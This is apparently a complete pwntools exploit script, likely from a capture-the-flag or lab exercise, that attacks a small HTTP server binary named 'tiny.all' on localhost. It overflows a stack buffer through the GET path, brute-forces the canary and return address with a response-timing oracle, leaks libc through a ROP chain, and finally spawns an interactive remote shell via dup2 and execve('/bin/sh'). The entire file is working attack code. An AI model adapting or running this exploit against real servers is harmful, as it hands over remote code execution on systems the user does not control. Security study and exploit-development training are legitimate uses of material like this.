expl_all.py

from IPython import embed
from pwn import *
import time
import statistics
import math

context.terminal = ['tmux', 'splitw', '-h']

local_file = './tiny.all' # all security protections
ADDR = "127.0.0.1"
PORT = 9999
PADDING_SIZE = 0x218
SAVED_REG_SIZE = 8*5
"""
0x0000  ........ ........
0x0010  [Buffer. ........ <- PADDING_SIZE
0x0020  ........ ........
 ///
0x0230  ........ ........
0x0240  .......] [canary] << canary bytes
0x0250  [....... rbx_____ <- SAVED_REG_SIZE
0x0260  rbp_____ r12_____
0x0270  r13____] [rip___] << oracle_bytes
"""
#these values won't be leaked or bruteforced
#if they are manually set here
CANARY_BYTES = b''
ORACLE_BYTES = b''


e = ELF(local_file)
libc = e.libc
context.binary = e
context.log_level = "info"


def package_http_request(path):
    """Craft the bytes for a valid HTTP/1.1 GET request containing our payload """
    return b"".join([
        b"GET ", path, b" HTTP/1.1\r\n",
        f"Host: {ADDR}:{PORT}\r\n".encode(),
        b"User-Agent: Hacker\r\n",
        b"\r\n"
        ])


def run_expl(payload, padding=PADDING_SIZE, log=True):
    p = remote(ADDR, PORT)
    # buffer overflow
    expl = b''
    expl += b'a'*padding
    expl += payload
    #url encode all the bytes that would block the http parser
    expl = expl.replace(b'%', b'%25')
    expl = expl.replace(b'?', b'%3f')
    for i in range(0x21):
        expl = expl.replace(bytes([i]), f'%{i:02X}'.encode())
    http_req = package_http_request(expl)
    if log:
        print("sending these request bytes:")
        print(http_req)
    p.send(http_req)
    return p


def run_expl_timer(expl):
    """Run the given exploit, and measure the server response time

    The exploit must cause a "File not found response"
    This function will measure the time between the last
    bytes sent and the EOF sent by the server.
    """
    p = run_expl(expl, log=False)
    out = p.recvuntil(b'File not found')
    start = time.perf_counter()
    end = 0
    try:
        while True:
            out = p.recv_raw(100);
            print(out)
    except:
        end = time.perf_counter()
    p.close()
    delta = end-start
    print(f"server response time: {delta}")
    return delta

def generate_crash_time_test(n=30, expl=b'', treshold=3):
    """returns a function that will test if a given server response time
    indicates a server crash

    Run this every time you suspect the network conditions changed.
    a new sample and test function will be generated
    """
    # get sample, from running a query that doesn't crash the server
    print("sampling server response time...")
    sample_timings = []
    for _ in range(n):
        sample_timings.append(run_expl_timer(expl))
    # calculate sample statistics
    mean = statistics.mean(sample_timings)
    std = statistics.stdev(sample_timings)
    print(f"mean: {mean}\nstd: {std}\n n:{n}")

    def is_outlier(x):
        """return true if the given x time measurement indicates a server crash

        This is testing if x is an outlier in the sample measurements.
        The sample measurements are taken on a non-crashing payload.
        """
        Z = (x - mean) / std
        print(f"treshold: {Z}")
        is_outlier = abs(Z) > treshold
        return is_outlier

    return is_outlier


def main():
    context.log_level = "warn"
    test_sample_size = 20
    treshold = 3
    expl = b'' #no exploit, the server should not crash

    #bruteforce the canary
    canary_bytes = b''
    if len(CANARY_BYTES):
        canary_bytes = CANARY_BYTES
    else:
        crash_time_test = generate_crash_time_test(test_sample_size, expl, treshold)

    while len(canary_bytes) < 8:
        for j in range(0xff+2):
            if j == 0xff+1:
                #should not get here, recalibrate the timing test
                print("recalibrating the oracle")
                crash_time_test = generate_crash_time_test(test_sample_size, expl, treshold)
            else:
                current_byte = bytes([j])
                payload = canary_bytes + current_byte
                print(payload)
                print("\033[F"*4) #] go back 3 lines, to avoid spam in stdout
                response_time = run_expl_timer(payload)
                is_crash = crash_time_test(response_time)
                if not is_crash:
                    canary_bytes += current_byte
                    break

    print("\n")
    print("-------------------")
    print(f"leaked canary: \n{canary_bytes}")
    print("-------------------")

    """
    
    Ret addr bruteforce
    0x00???????????51c
                  |
                  Possible Side effects when this nibble is wrong
    Ideally, the right address will cause a slow EOF.
    any other address will cause an immediate EOF due to crash
    """

    test_sample_size = 20
    treshold = 3
    expl  = b''
    expl += canary_bytes
    expl += b'\x00'*SAVED_REG_SIZE #registers stored before rip

    oracle_base = 0x351c  #base offset of the ret addr
    oracle_bytes = b''
    if len(ORACLE_BYTES):
        oracle_bytes = ORACLE_BYTES
    else:
        crash_time_test = generate_crash_time_test(test_sample_size, expl, treshold)

    #handle the initial nibble bruteforce
    if len(oracle_bytes) < 2:
        oracle_bytes  = b''
        oracle_bytes += bytes([oracle_base & 0xff])
        oracle_third_nibble = oracle_base >> 8 & 0xf
        for j in range(0xf+1):
            current_byte = bytes([(j<<4) + oracle_third_nibble])
            print(oracle_bytes + current_byte)
            print("\033[F"*4) #] go back 3 lines, to avoid spam in stdout
            payload = canary_bytes
            payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip
            payload += oracle_bytes
            payload += current_byte
            response_time = run_expl_timer(payload)
            is_crash = crash_time_test(response_time)
            if not is_crash:
                oracle_bytes += current_byte
                break

    #bruteforce the rest of the address bytes
    while len(oracle_bytes) < 8:
        for j in range(0xff+2):
            if j == 0xff+1:
                #should not get here, recalibrate the timing test
                print("recalibrating the oracle")
                crash_time_test = generate_crash_time_test(test_sample_size, expl, treshold)
            else:
                current_byte = bytes([j])
                payload = canary_bytes
                payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip
                payload += oracle_bytes
                payload += current_byte
                print(oracle_bytes+current_byte)
                print("\033[F"*4) #] go back 3 lines, to avoid spam in stdout
                response_time = run_expl_timer(payload)
                is_crash = crash_time_test(response_time)
                if not is_crash:
                    oracle_bytes += current_byte
                    break

    print("\n")
    print("-------------------")
    print(f"leaked ret addr: \n{oracle_bytes}")
    print("-------------------")

    #
    # calculate program base offset
    #
    oracle_addr = u64(oracle_bytes)
    program_base_offset = oracle_addr - oracle_base
    print("leaked oracle address: ")
    print(hex(oracle_addr))
    print("program base offset:")
    print(hex(program_base_offset))
    e.address = program_base_offset


    #
    #leak libc with a rop chain
    #
    rop = ROP(e)
    rop(r12=4, rbx=20, rbp=e.got['sleep'])
    """
    not a gadget: allows us to call write with registers
    we control, then it will crash
         0x0260c  mov    rdx,rbx
         0x0260f  mov    rsi,rbp
         0x02612  mov    edi,r12d
         0x02615  call   0x22d0 <write@plt>
    """
    write_primitive = program_base_offset + 0x260c 
    rop.raw(write_primitive)
    payload  = b''
    payload += canary_bytes
    payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip
    payload += rop.chain()
    print(rop.dump())
    p = run_expl(payload)

    #
    #parse the libc leak
    #
    p.recvuntil(b'File not found')
    libc_sleep_bytes = p.recv(numb=8)
    print(libc_sleep_bytes)
    out = p.clean()
    print(out)
    p.close()

    #
    #calculate libc base offsest
    #
    libc_sleep_base_addr  = libc.symbols['sleep']
    libc_dup2_base_addr   = libc.symbols['dup2']
    libc_execve_base_addr = libc.symbols['execve']
    libc_sleep_addr = u64(libc_sleep_bytes)
    libc_base = libc_sleep_addr - libc_sleep_base_addr
    libc.address = libc_base
    print("-------------------")
    print(f"leaked libc base: \n{hex(libc_base)}")
    print("-------------------")

    #
    #launch shell rop chain
    #
    #we have 0x88 max bytes left without a pivot
    rop = ROP([e, libc])
    rop(rdi=0x4, rsi=0x0)
    rop.call('dup2', [])
    rop(rsi=0x1)
    rop.call('dup2', [])
    sh_string_addr = next(libc.search(b'/bin/sh'))
    rop.call('execve', [sh_string_addr, 0, 0])
    payload  = b''
    payload += canary_bytes
    payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip
    payload += rop.chain()
    print(rop.dump())
    p = run_expl(payload)

    out = p.recvuntil(b'File not found')
    print("-------------------")
    print("started remote shell")
    print("type a command")
    print("-------------------")
    p.interactive()



main()